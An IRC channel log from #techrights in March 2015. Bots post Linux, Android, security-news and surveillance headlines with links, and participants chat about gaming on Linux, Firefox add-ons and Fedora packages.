-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: FREAKing hell: All #Windows versions vulnerable to SSL snoop http://www.theregister.co.uk/2015/03/06/all_microsoft_windows_versions_vulnerable_to_freak/ http://techrights.org/wiki/index.php/Microsoft_and_the_NSAMar 13 04:31
-TechrightsBot-tr/#techrights--> www.theregister.co.uk | FREAKing hell: ALL Windows versions vulnerable to SSL snoop • The Register [ http://ur1.ca/jweit ]Mar 13 04:31
schestowitz"Honestly, how is it possible the M$ security team that allegedly found this and pitched it as an Chrome/Android vulnerability not have checked IE? I can't imagine they will have jobs there for much longer"Mar 13 04:31
-TechrightsBot-tr/#techrights--> techrights.org | Microsoft and the NSA - Techrights [ http://ur1.ca/g1zod ]Mar 13 04:31
schestowitzhttps://joindiaspora.com/posts/5748612Mar 13 04:31
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #gnu #linux not ready for gamers? Another headline from the 90s... http://www.slashgear.com/steam-for-linux-1000-games-and-counting-12373390/Mar 13 04:31
-TechrightsBot-tr/#techrights--> www.slashgear.com | Steam for Linux: 1,000 games and counting - SlashGear [ http://ur1.ca/jweiv ]Mar 13 04:31
schestowitz"I don't think it was ever that GNULinux wasn't ready for gamers. I think game makers weren't ready to let go of their ancient business plans."Mar 13 04:31
schestowitz"Chris is te real MVP :D Couldn't agree more with you bro... When game makers start to look to GNU/Linux (AAA Studios, Mid range Studios, etc..) They will see that GNU/Linux are ready for everything they want..."Mar 13 04:31
schestowitz"I Agree. And it's look like they mey start to look into it soon :) Valve is doing great stuff about it I think."Mar 13 04:31
schestowitz"If Devs starts to look and develop for GNU/Linux than they have to start to develop under GPL... or, at least, at LEAST, opensource licenses..."Mar 13 04:32
cubexyzlet's not forget Loki GamesMar 13 04:34
cubexyzbut it is a pity that those games were never open sourcedMar 13 04:35
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Software | Tux MachinesMar 13 05:35
TweetTuxMachines@tuxmachines     New Linux Kernel Vulnerability Patched in AllMar 13 05:35
TweetTuxMachines                 Supported Ubuntu OSes http://t.co/ndhbrY1K2JMar 13 05:35
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Linux Kernel Vulnerability Patched in All Supported Ubuntu OSes | Tux MachinesMar 13 05:35
TweetTuxMachines@tuxmachines     Why We Need Free Digital Hardware DesignsMar 13 05:35
TweetTuxMachines                 http://t.co/IHjT1CH9Pk (www.tuxmachines.org)Mar 13 05:35
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TweetTuxMachines@tuxmachines     "The Linux Foundation... LMAX Exchange Ltd.,Mar 13 05:56
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TweetTuxMachines@tuxmachines     7 surprising facts about LinuxMar 13 05:56
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TweetTuxMachines@tuxmachines     Interviews with the Ubuntu Community CouncilMar 13 05:56
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TweetTuxMachines@tuxmachines     New Linux Foundation Members Invest in LinuxMar 13 06:25
TweetTuxMachines                 and Collaborative DevelopmentMar 13 06:25
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Linux Foundation Members Invest in Linux and Collaborative Development | Tux MachinesMar 13 06:26
TweetTuxMachines@tuxmachines     7 surprising facts about LinuxMar 13 06:26
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cubexyzmsb_, I just ported chemtable to vector linuxMar 13 10:14
cubexyzgnome's equivalent to kalziumMar 13 10:14
schestowitzhttps://twitter.com/jmcest/status/576261785919045632Mar 13 10:47
-TechrightsBot-tr/#techrights-@jmcest: Greenwashed FRA, Greenwashed #surveillance GT @schestowitz: Swedish 'green' party sold out https://t.co/bmqV7dk7T4 https://t.co/zxQ0ZbDDbmMar 13 10:47
-TechrightsBot-tr/#techrights--> translate.google.com | Google TranslateMar 13 10:47
-TechrightsBot-tr/#techrights--> christianengstrom.wordpress.com | Miljöpartiet försöker förklara sitt svek om FRA-lagen | Christian Engström, PiratMar 13 10:47
*TweetTuxMachines @JRepin favourited 'KDE President Lydia Pintscher on the Role of...'Mar 13 11:12
TweetTuxMachines@tuxmachines     Hands on: Google's new $999 Chromebook PixelMar 13 11:41
TweetTuxMachines                 makes big changes under the hoodMar 13 11:41
TweetTuxMachines                 http://t.co/PCn67GMsWX (www.pcworld.com)Mar 13 11:41
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-TechrightsBot-tr/#techrights-www.pcworld.com | Hands on: Google's new $999 Chromebook Pixel makes big changes under the hood | PCWorldMar 13 11:41
TweetTuxMachines@tuxmachines     Hands on: Google's new $999 Chromebook PixelMar 13 11:41
TweetTuxMachines                 makes big changes under the hoodMar 13 11:41
TweetTuxMachines                 http://t.co/VWztXW6KX4 (www.tuxmachines.org)Mar 13 11:41
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Hands on: Google's new $999 Chromebook Pixel makes big changes under the hood | Tux MachinesMar 13 11:41
TweetTuxMachines@tuxmachines     Review: New Chromebook Pixel is still lovelyMar 13 11:41
TweetTuxMachines                 hardware with limited appealMar 13 11:41
TweetTuxMachines                 http://t.co/lrhHEer238 (arstechnica.com)Mar 13 11:41
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-TechrightsBot-tr/#techrights-arstechnica.com | Review: New Chromebook Pixel is still lovely hardware with limited appeal | Ars TechnicaMar 13 11:41
schestowitz> "switching the system init process to systemd past theMar 13 11:46
schestowitz> Ubuntu Vivid Verbet {sic} feature freeze window."Mar 13 11:46
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schestowitz> http://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-Cloud-Systemd-DefaultMar 13 11:46
-TechrightsBot-tr/#techrights-www.phoronix.com | Ubuntu Cloud Switches Over To Using Systemd By Default - Phoronix [ http://ur1.ca/jwgdh ]Mar 13 11:46
schestowitz> Mar 13 11:46
schestowitz> Bending their own rules to shoehorn in an, at best, unready, untestedMar 13 11:46
schestowitz> product.Mar 13 11:46
schestowitzhttps://www.schneier.com/blog/archives/2015/03/the_democratiza_1.htmlMar 13 11:56
-TechrightsBot-tr/#techrights-www.schneier.com | Schneier on Security: The Democratization of Cyberattack [ http://ur1.ca/ju059 ]Mar 13 11:56
schestowitzrepeat of Motherboard articleMar 13 11:56
schestowitzhttp://blather.michaelwlucas.com/archives/2343Mar 13 12:08
-TechrightsBot-tr/#techrights-blather.michaelwlucas.com | "Tarsnap Mastery" ebook out - blather.michaelwlucas.com [ http://ur1.ca/jwggy ]Mar 13 12:08
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TweetTuxMachines@tuxmachines     Ubuntu just switched to systemd , the projectMar 13 12:39
TweetTuxMachines                 sparking controversy throughout LinuxMar 13 12:39
TweetTuxMachines                 http://t.co/N3VrKivrpF (www.pcworld.com)Mar 13 12:39
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-TechrightsBot-tr/#techrights-www.pcworld.com | Ubuntu just switched to systemd, the project sparking controversy throughout Linux | PCWorldMar 13 12:39
TweetTuxMachines@tuxmachines     Age of Wonders III Now In Beta For LinuxMar 13 12:39
TweetTuxMachines                 http://t.co/Yh9lK7Ef5i (www.phoronix.com)Mar 13 12:39
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TweetTuxMachines@tuxmachines     "release of Age Of Wonders III due in AprilMar 13 12:39
TweetTuxMachines                 recently, and now they have already opened theMar 13 12:39
TweetTuxMachines                 Linux beta!" https://t.co/vFWosQXAxWMar 13 12:39
TweetTuxMachines                 (www.gamingonlinux.com)Mar 13 12:39
TweetTuxMachines........................................  http://ur1.ca/jwgnyMar 13 12:39
-TechrightsBot-tr/#techrights-www.gamingonlinux.com | Age Of Wonders III Now In Open Beta For Linux | GamingOnLinuxMar 13 12:39
TweetTuxMachines@tuxmachines     Run Android 5.0.2 Lollipop on Your PC withMar 13 12:39
TweetTuxMachines                 AndEX Live CD http://t.co/MFCb6bsxooMar 13 12:39
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 12:39
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Run Android 5.0.2 Lollipop on Your PC with AndEX Live CD | Tux MachinesMar 13 12:39
TweetTuxMachines@tuxmachines     Red Hat powers up partner programme forMar 13 12:39
TweetTuxMachines                 enterprise container ecosystemMar 13 12:39
TweetTuxMachines                 http://t.co/Os6LQt6aiS (www.tuxmachines.org)Mar 13 12:39
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat powers up partner programme for enterprise container ecosystem | Tux MachinesMar 13 12:39
TweetTuxMachines@tuxmachines     Introducing Blueberry, a Proper BluetoothMar 13 12:39
TweetTuxMachines                 Configuration Tool for Linux MintMar 13 12:40
TweetTuxMachines                 http://t.co/jzszzpbuZs (www.tuxmachines.org)Mar 13 12:40
TweetTuxMachines........................................  http://ur1.ca/jwgo5Mar 13 12:40
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Introducing Blueberry, a Proper Bluetooth Configuration Tool for Linux Mint | Tux MachinesMar 13 12:40
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TweetTuxMachines@tuxmachines     Fedora 22 Alpha Lets Users Test the BetaMar 13 12:56
TweetTuxMachines                 Version of GNOME 3.16 - Screenshot TourMar 13 12:56
TweetTuxMachines                 http://t.co/K6fe8gqeRk (www.tuxmachines.org)Mar 13 12:56
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TweetTuxMachines@tuxmachines     French FOI authority: make tax source codeMar 13 12:56
TweetTuxMachines                 public http://t.co/1XZLYohNpsMar 13 12:56
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TweetTuxMachines@tuxmachines     XOrg Server 1.17 Makes It Into Ubuntu 15.04Mar 13 12:56
TweetTuxMachines                 http://t.co/9bWWwGPmMH (www.phoronix.com)Mar 13 12:56
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-TechrightsBot-tr/#techrights-www.phoronix.com | X.Org Server 1.17 Makes It Into Ubuntu 15.04 - PhoronixMar 13 12:57
TweetTuxMachines@tuxmachines     Run Android 5.0.2 Lollipop on Your PC withMar 13 13:00
TweetTuxMachines                 AndEX Live CD http://t.co/2W4Mctwb60Mar 13 13:00
TweetTuxMachines                 (news.softpedia.com)Mar 13 13:00
-TechrightsBot-tr/#techrights-news.softpedia.com | Run Android 5.0.2 Lollipop on Your PC with AndEX Live CD - SoftpediaMar 13 13:00
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TweetTuxMachines@tuxmachines     Red Hat powers up partner programme forMar 13 13:00
TweetTuxMachines                 enterprise container ecosystemMar 13 13:00
TweetTuxMachines                 http://t.co/ptnTJdUf5P (www.v3.co.uk)Mar 13 13:00
TweetTuxMachines                 http://t.co/f2gcQiZYIJ (rhelblog.redhat.com)Mar 13 13:00
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-TechrightsBot-tr/#techrights-www.v3.co.uk | Red Hat powers up partner programme for enterprise container ecosystem - IT News from V3.co.ukMar 13 13:00
-TechrightsBot-tr/#techrights-rhelblog.redhat.com | Shaping the Performance of a Linux Distro: Inside Red Hat Enterprise Linux 7 | Red Hat Enterprise Linux BlogMar 13 13:00
TweetTuxMachines@tuxmachines     7 Leading Applications for KDE PlasmaMar 13 13:00
TweetTuxMachines                 http://t.co/XTcy6kQhAa (www.datamation.com)Mar 13 13:00
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-TechrightsBot-tr/#techrights-www.datamation.com | 7 Leading Applications for KDE Plasma - DatamationMar 13 13:00
TweetTuxMachines@tuxmachines     Lightweight Desktop For Linux: What’s the BestMar 13 13:07
TweetTuxMachines                 One for You? http://t.co/qhgz3z6M0cMar 13 13:07
TweetTuxMachines                 (www.maketecheasier.com)Mar 13 13:07
-TechrightsBot-tr/#techrights-www.maketecheasier.com | Lightweight Desktop For Linux: What's the Best One for You? - Make Tech EasierMar 13 13:07
TweetTuxMachines........................................  http://ur1.ca/jwgtkMar 13 13:07
TweetTuxMachines@tuxmachines     7 Neat Linux Tricks That Newbies Need to Know Mar 13 13:07
TweetTuxMachines                 http://t.co/I5WPkNfxlL (www.makeuseof.com)Mar 13 13:07
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-TechrightsBot-tr/#techrights-www.makeuseof.com | 7 Neat Linux Tricks That Newbies Need to KnowMar 13 13:07
TweetTuxMachines@tuxmachines     Fedora 22 Alpha Lets Users Test the BetaMar 13 13:07
TweetTuxMachines                 Version of GNOME 3.16 - Screenshot TourMar 13 13:07
TweetTuxMachines                 http://t.co/ylHeEOJknG (news.softpedia.com)Mar 13 13:07
TweetTuxMachines........................................  http://ur1.ca/jwgtmMar 13 13:07
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TweetTuxMachines@tuxmachines     Introducing Blueberry, a Proper BluetoothMar 13 13:48
TweetTuxMachines                 Configuration Tool for Linux MintMar 13 13:48
TweetTuxMachines                 http://t.co/dyqHH0NMoN (linux.softpedia.com)Mar 13 13:48
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TweetTuxMachines@tuxmachines     Links 13/2/2015: Chromebook Reviews, Age OfMar 13 13:48
TweetTuxMachines                 Wonders III Beta http://t.co/8oPNJSFlUZMar 13 13:48
TweetTuxMachines                 (techrights.org)Mar 13 13:48
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-TechrightsBot-tr/#techrights-techrights.org | Links 13/2/2015: Chromebook Reviews, Age Of Wonders III Beta | TechrightsMar 13 13:48
TweetTuxMachines@tuxmachines     7 Neat Linux Tricks That Newbies Need to KnowMar 13 13:48
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TweetTuxMachines@tuxmachines     Android Leftovers http://t.co/fMux94p5uKMar 13 14:38
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Android Leftovers | Tux MachinesMar 13 14:38
TweetTuxMachines@tuxmachines     Leftovers: Gaming http://t.co/f35toz7l6oMar 13 14:38
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 14:38
TweetTuxMachines........................................  http://ur1.ca/jwh8qMar 13 14:38
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux MachinesMar 13 14:38
TweetTuxMachines@tuxmachines     today's howtos http://t.co/ynv0sjAR1sMar 13 14:38
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 14:38
TweetTuxMachines........................................  http://ur1.ca/jwh8rMar 13 14:38
-TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux MachinesMar 13 14:38
TweetTuxMachines@tuxmachines     Linux Themes of the day http://t.co/CjyAmj42dwMar 13 14:38
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 14:38
TweetTuxMachines........................................  http://ur1.ca/jwh8sMar 13 14:38
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Themes of the day | Tux MachinesMar 13 14:38
MinceRgeekingsMar 13 15:22
XRevan86MinceR: hiMar 13 15:23
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TweetTuxMachines@tuxmachines     diff -u: What's New in Kernel DevelopmentMar 13 17:14
TweetTuxMachines                  http://t.co/Po9JL8YKzl (www.linuxjournal.com)Mar 13 17:14
TweetTuxMachines........................................  http://ur1.ca/jwi9oMar 13 17:14
-TechrightsBot-tr/#techrights-www.linuxjournal.com | diff -u: What's New in Kernel Development | Linux JournalMar 13 17:14
TweetTuxMachines@tuxmachines     Algorithmia aims to be the open source appMar 13 17:14
TweetTuxMachines                 store for algorithms and APIsMar 13 17:14
TweetTuxMachines                 http://t.co/x6hDgeSYvq (www.tuxmachines.org)Mar 13 17:14
TweetTuxMachines........................................  http://ur1.ca/jwi9rMar 13 17:14
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Algorithmia aims to be the open source app store for algorithms and APIs | Tux MachinesMar 13 17:14
MinceRhttp://www.digitalmunition.me/2015/03/apple-admits-siri-voice-data-is-being-shared-with-third-parties/Mar 13 17:22
-TechrightsBot-tr/#techrights-www.digitalmunition.me | Apple Admits Siri Voice Data is Being shared with Third Parties - DigitalMunition [ http://ur1.ca/jwic5 ]Mar 13 17:22
TweetTuxMachines@tuxmachines     Mozilla Releases Open Source Masche ForensicsMar 13 17:23
TweetTuxMachines                 Tool http://t.co/mufCYpyaCgMar 13 17:23
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 17:23
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Mozilla Releases Open Source Masche Forensics Tool | Tux MachinesMar 13 17:23
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schestowitzhttps://joindiaspora.com/p/5753168Mar 13 17:47
-TechrightsBot-tr/#techrights-joindiaspora.com | EFF Grabs Two Mor...Mar 13 17:47
schestowitzhttps://joindiaspora.com/posts/5753168Mar 13 17:48
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: EFF Grabs Two More Docs From The NSA, Detailing Expanded Post-9/11 Surveillance Powers And Section 702 Justifications https://www.techdirt.com/articles/20150303/09253030197/eff-grabs-two-more-docs-nsa-detailing-expanded-post-911-surveillance-powers-section-702-justifications.shtmlMar 13 17:48
-TechrightsBot-tr/#techrights--> www.techdirt.com | EFF Grabs Two More Docs From The NSA, Detailing Expanded Post-9/11 Surveillance Powers And Section 702 Justifications | Techdirt [ http://ur1.ca/jwii8 ]Mar 13 17:48
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TweetTuxMachines@tuxmachines     President Of Blizzard Responds To The LinuxMar 13 18:19
TweetTuxMachines                 Petition https://t.co/sufgG6YrE3Mar 13 18:19
TweetTuxMachines                 (www.gamingonlinux.com) https://t.co/71ImEWhB1eMar 13 18:19
TweetTuxMachines                 (www.change.org)Mar 13 18:19
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-TechrightsBot-tr/#techrights-www.gamingonlinux.com | President Of Blizzard Responds To The Linux Petition, Petition Owner Creates Childish Response | GamingOnLinuxMar 13 18:19
-TechrightsBot-tr/#techrights-www.change.org | Petition · Please Release Native Linux Clients · Change.orgMar 13 18:19
TweetTuxMachines@tuxmachines     15 Must Have Ubuntu EnhancementsMar 13 18:19
TweetTuxMachines                 http://t.co/R0eEZMOHIT (www.datamation.com)Mar 13 18:19
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-TechrightsBot-tr/#techrights-www.datamation.com | 15 Must Have Ubuntu Enhancements - DatamationMar 13 18:19
TweetTuxMachines@tuxmachines     15 Must Have Ubuntu EnhancementsMar 13 18:19
TweetTuxMachines                 http://t.co/eSRntY0Zmj (www.tuxmachines.org)Mar 13 18:19
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TweetTuxMachines@tuxmachines     Setting ssh keys for Raspberry Pi's and BeagleMar 13 19:27
TweetTuxMachines                 Bones without keyboard and displayMar 13 19:27
TweetTuxMachines                 http://t.co/TLMrV51fHd (www.tuxmachines.org)Mar 13 19:27
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Setting ssh keys for Raspberry Pi's and Beagle Bones without keyboard and display | Tux MachinesMar 13 19:27
TweetTuxMachines@tuxmachines     Here’s what changed in Android 5.1 LollipopMar 13 19:27
TweetTuxMachines                 http://t.co/GYMXToHyl0 (www.tuxmachines.org)Mar 13 19:27
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Here’s what changed in Android 5.1 Lollipop | Tux MachinesMar 13 19:27
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TweetTuxMachines@tuxmachines     Sam Ramji Discusses Cloud Foundry and OpenMar 13 21:31
TweetTuxMachines                 Source Opportunities http://t.co/C5gbq60sVHMar 13 21:31
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 21:31
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*TweetTuxMachines @miniputing favourited 'Setting ssh keys for Raspberry Pi's and Beagle...'Mar 13 21:31
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Sam Ramji Discusses Cloud Foundry and Open Source Opportunities | Tux MachinesMar 13 21:31
TweetTuxMachines@tuxmachines     Arietta G25 – The latest Embedded Linux BoardMar 13 21:32
TweetTuxMachines                 http://t.co/VycGwADuGR (www.tuxmachines.org)Mar 13 21:32
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Arietta G25 – The latest Embedded Linux Board | Tux MachinesMar 13 21:32
TweetTuxMachines@tuxmachines     Why open source works http://t.co/7o3AKnvYFPMar 13 21:32
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 21:32
TweetTuxMachines........................................  http://ur1.ca/jwk0sMar 13 21:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Why open source works | Tux MachinesMar 13 21:32
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 13 21:32
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TweetTuxMachines@tuxmachines     The 7 types of Android fanboy (and fangirl):Mar 13 21:32
TweetTuxMachines                 The spotter's guide to the seven types ofMar 13 21:32
TweetTuxMachines                 Fandroid you will encou...Mar 13 21:32
TweetTuxMachines                 http://t.co/CWPTjyfQL3 (www.tuxmachines.org)Mar 13 21:32
TweetTuxMachines........................................  http://ur1.ca/jwk0wMar 13 21:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org | The 7 types of Android fanboy (and fangirl): The spotter's guide to the seven types of Fandroid you will encounter on the internet | Tux MachinesMar 13 21:32
TweetTuxMachines@tuxmachines     Allwinner’s octa-core A80 SoC tightens its SBCMar 13 21:32
TweetTuxMachines                 grip http://t.co/T7dbmiLclOMar 13 21:32
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 21:32
TweetTuxMachines........................................  http://ur1.ca/jwk0xMar 13 21:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Allwinner’s octa-core A80 SoC tightens its SBC grip | Tux MachinesMar 13 21:32
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__martin__finallyMar 13 21:49
XRevan86__martin__: hmm?Mar 13 21:50
__martin__Linux octavia 4.0.0-0.rc3.git0.1.fc22.x86_64 #1 SMP Mon Mar 9 13:36:59 UTC 2015 x86_64 x86_64 x86_64 GNU/LinuxMar 13 21:50
__martin__(=Mar 13 21:50
__martin__also made a bargain hw upgrade, took for 10€ unused GTS 450 from friend tonight xDMar 13 21:50
__martin__(viable for wayland over igpu hd 4200)Mar 13 21:51
XRevan86__martin__: octavia? like vinyl?Mar 13 21:51
__martin__XRevan86: nope like Skoda car modelMar 13 21:52
XRevan86__martin__: okayMar 13 21:52
__martin__yay, rpmfusion's rawhide steam package is still only for fc21Mar 13 21:55
__martin__(cannot wait to try oddworld's new n' tasty old-school arcade remake =)Mar 13 21:55
XRevan86__martin__: If it is for rawhide, what's the problem?Mar 13 21:56
__martin__still contains an old package..Mar 13 21:56
XRevan86__martin__: steam is proprietary, I doubt it'll break because of old deps :)Mar 13 21:57
__martin__XRevan86: what browser addons you use by default?Mar 13 21:57
XRevan86__martin__: #1 is of course CTRMar 13 21:57
XRevan86Classic Theme RestorerMar 13 21:57
__martin__so I will force the package to install without key verificationMar 13 21:57
XRevan86http://mirror.yandex.ru/fedora/russianfedora/russianfedora/nonfree/fedora/development/rawhide/i386/os/ No Steam here, hehMar 13 21:57
-TechrightsBot-tr/#techrights-mirror.yandex.ru | Index of /fedora/russianfedora/russianfedora/nonfree/fedora/development/rawhide/i386/os/ [ http://ur1.ca/jwk5g ]Mar 13 21:57
__martin__myself just https-everywher, privacy badger, noscript, server spy // and used to be YouTube ALL HTML5Mar 13 21:59
__martin__where*Mar 13 21:59
XRevan86__martin__: I'm not into privacy addonsMar 13 21:59
__martin__[for my need I cannot stick with LibreJS yet]Mar 13 21:59
XRevan86Only µBlock, BetterPrivacy and Self-Destructing CookiesMar 13 21:59
__martin__needs*Mar 13 21:59
__martin__oh yes and of course adblock edgeMar 13 22:00
XRevan86__martin__: Inferior µBlock alternative %).Mar 13 22:00
XRevan86what's the point of using it then?Mar 13 22:00
__martin__inferior? =DMar 13 22:00
XRevan86__martin__: Exactly.Mar 13 22:00
__martin__also this proprietary MEGA addon for downloading large files et alMar 13 22:01
XRevan86AdBlock Edge has same performance issues as AdBlock+Mar 13 22:01
XRevan86even a bit moreMar 13 22:01
XRevan86https://addons.mozilla.org/ru/firefox/addon/ublock/versionsMar 13 22:02
-TechrightsBot-tr/#techrights-addons.mozilla.org | µBlock :: Versions :: Дополнения Firefox [ http://ur1.ca/jwk6j ]Mar 13 22:02
XRevan86ouchMar 13 22:02
XRevan86https://addons.mozilla.org/addon/ublock/versionsMar 13 22:02
-TechrightsBot-tr/#techrights-addons.mozilla.org | µBlock :: Versions :: Add-ons for Firefox [ http://ur1.ca/jwk6m ]Mar 13 22:02
__martin__went with micro this timeMar 13 22:03
XRevan86it is still not reviewed so versions updates is a painMar 13 22:03
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__martin__https://hacks.mozilla.org/2015/02/webrtc-requires-perfect-forward-secrecy-pfs-starting-in-firefox-38/Mar 13 22:54
-TechrightsBot-tr/#techrights-hacks.mozilla.org | WebRTC requires Perfect Forward Secrecy (PFS) starting in Firefox 38 ✩ Mozilla Hacks – the Web developer blog [ http://ur1.ca/jwkgq ]Mar 13 22:54
__martin__XRevan86: what DNS servers you use as an ISP replacement?Mar 13 22:55
XRevan86__martin__: I use default providers.Mar 13 22:55
XRevan86Oh wait, I don't %)Mar 13 22:57
XRevan86I had issues with it so I've made 77.88.8.8 the default DNSMar 13 22:57
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TweetTuxMachines@tuxmachines     Rugged NUC mini-PCs run Linux on Broadwell andMar 14 00:10
TweetTuxMachines                 Bay Trail http://t.co/VJyKw58In8Mar 14 00:10
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 00:10
TweetTuxMachines........................................  http://ur1.ca/jwku0Mar 14 00:10
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Rugged NUC mini-PCs run Linux on Broadwell and Bay Trail | Tux MachinesMar 14 00:10
TweetTuxMachines@tuxmachines     New Ubuntu Phone Flash Sale Confirmed for MarchMar 14 00:10
TweetTuxMachines                 12 http://t.co/CO0ULsE7sk (www.tuxmachines.org)Mar 14 00:10
TweetTuxMachines........................................  http://ur1.ca/jwku1Mar 14 00:10
-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Ubuntu Phone Flash Sale Confirmed for March 12 | Tux MachinesMar 14 00:10
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__martin__holy cowMar 14 01:30
__martin__so based on this intercept's storyMar 14 01:30
__martin__(https://firstlook.org/theintercept/2015/03/09/new-zealand-prime-minister-promised-resign-country-shown-engage-mass-surveillance-now-retracts-vow/)Mar 14 01:30
-TechrightsBot-tr/#techrights-firstlook.org | NZ Prime Minister John Key Retracts Vow to Resign if Mass Surveillance Is Shown [ http://ur1.ca/jvo3r ]Mar 14 01:30
__martin__the merkel screamed her cellphone was hijacked only because she wanted to push attenion elsewhereMar 14 01:31
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TweetTuxMachines@tuxmachines     KDE Frameworks 5.8.0 Officially Released withMar 14 01:53
TweetTuxMachines                 Support for Qt 5.5 http://t.co/tUTYGO4P6aMar 14 01:53
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 01:53
TweetTuxMachines........................................  http://ur1.ca/jwlbcMar 14 01:53
-TechrightsBot-tr/#techrights-www.tuxmachines.org | KDE Frameworks 5.8.0 Officially Released with Support for Qt 5.5 | Tux MachinesMar 14 01:53
*TweetTuxMachines @algorithmia favourited 'Algorithmia aims to be the open source app...'Mar 14 01:53
TweetTuxMachines@tuxmachines     Here’s what changed in Android 5.1 LollipopMar 14 02:00
TweetTuxMachines                 http://t.co/QhTfVVMWSs (www.geek.com)Mar 14 02:00
TweetTuxMachines........................................  http://ur1.ca/jwlc9Mar 14 02:00
-TechrightsBot-tr/#techrights-www.geek.com | Here’s what changed in Android 5.1 Lollipop | Android | Geek.comMar 14 02:00
TweetTuxMachines@tuxmachines     Oracle Linux 7.1 Has Been Officially Released,Mar 14 02:00
TweetTuxMachines                 Brings Production Support for BtrfsMar 14 02:00
TweetTuxMachines                 http://t.co/wCywsscIMf (linux.softpedia.com)Mar 14 02:00
TweetTuxMachines........................................  http://ur1.ca/jwlcaMar 14 02:00
-TechrightsBot-tr/#techrights-linux.softpedia.com | Oracle Linux 7.1 Has Been Officially Released, Brings Production Support for Btrfs - SoftpediaMar 14 02:00
TweetTuxMachines@tuxmachines     Red Hat proving that open source communitiesMar 14 02:00
TweetTuxMachines                 are better for security http://t.co/9IPLl3HBjbMar 14 02:00
TweetTuxMachines                 (whatsyourtech.ca)Mar 14 02:00
TweetTuxMachines........................................  http://ur1.ca/jwlcbMar 14 02:00
-TechrightsBot-tr/#techrights-whatsyourtech.ca | Red Hat proving that open source communities are better for security | WYT - Canadian Tech News & Tech ReviewsMar 14 02:00
TweetTuxMachines@tuxmachines     7 Android and Linux Smartwatches to Take on theMar 14 02:01
TweetTuxMachines                 Apple Watch  http://t.co/nUeC2lEeoEMar 14 02:01
TweetTuxMachines                 (www.linux.com)Mar 14 02:01
TweetTuxMachines........................................  http://ur1.ca/jwlcjMar 14 02:01
-TechrightsBot-tr/#techrights-www.linux.com | 7 Android and Linux Smartwatches to Take on the Apple Watch | Linux.comMar 14 02:01
TweetTuxMachines@tuxmachines     Arietta G25 – The latest Embedded Linux BoardMar 14 02:01
TweetTuxMachines                 http://t.co/WghIWm54OCMar 14 02:01
TweetTuxMachines                 (www.open-electronics.org)Mar 14 02:01
TweetTuxMachines........................................  http://ur1.ca/jwlckMar 14 02:01
-TechrightsBot-tr/#techrights-www.open-electronics.org | Arietta G25 – The latest Embedded Linux Board | Open ElectronicsMar 14 02:01
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*TweetTuxMachines @ElectronicsRDT favourited 'Arietta G25 – The latest Embedded Linux Board...'Mar 14 04:45
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 04:45
TweetTuxMachines                 http://t.co/CcQh5mfLGn (www.cbronline.com)Mar 14 04:45
TweetTuxMachines........................................  http://ur1.ca/jwm55Mar 14 04:45
-TechrightsBot-tr/#techrights-www.cbronline.com | 5 best Linux distros for beginners and newbies - Computer Business ReviewMar 14 04:45
TweetTuxMachines@tuxmachines     Allwinner’s octa-core A80 SoC tightens its SBCMar 14 04:49
TweetTuxMachines                 grip http://t.co/2MEc49lS6t (linuxgizmos.com)Mar 14 04:49
TweetTuxMachines........................................  http://ur1.ca/jwm5tMar 14 04:49
-TechrightsBot-tr/#techrights-linuxgizmos.com | Allwinner's octa-core A80 SoC tightens its SBC grip ·  LinuxGizmos.comMar 14 04:49
TweetTuxMachines@tuxmachines     Rugged NUC mini-PCs run Linux on Broadwell andMar 14 04:49
TweetTuxMachines                 Bay Trail http://t.co/pjU5nlGEWbMar 14 04:49
TweetTuxMachines                 (linuxgizmos.com)Mar 14 04:49
TweetTuxMachines........................................  http://ur1.ca/jwm5uMar 14 04:49
-TechrightsBot-tr/#techrights-linuxgizmos.com | Rugged NUC mini-PCs run Linux on Broadwell and Bay Trail ·  LinuxGizmos.comMar 14 04:49
TweetTuxMachines@tuxmachines     New Ubuntu Phone Flash Sale Confirmed for MarchMar 14 04:49
TweetTuxMachines                 12 http://t.co/c3p5v2fiKD (news.softpedia.com)Mar 14 04:49
TweetTuxMachines........................................  http://ur1.ca/jwm5vMar 14 04:49
-TechrightsBot-tr/#techrights-news.softpedia.com | New Ubuntu Phone Flash Sale Confirmed for March 12 - SoftpediaMar 14 04:49
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TweetTuxMachines@tuxmachines     KDE Frameworks 5.8.0 Officially Released withMar 14 05:40
TweetTuxMachines                 Support for Qt 5.5 http://t.co/a5NsI5XSL5Mar 14 05:40
TweetTuxMachines                 (news.softpedia.com)Mar 14 05:40
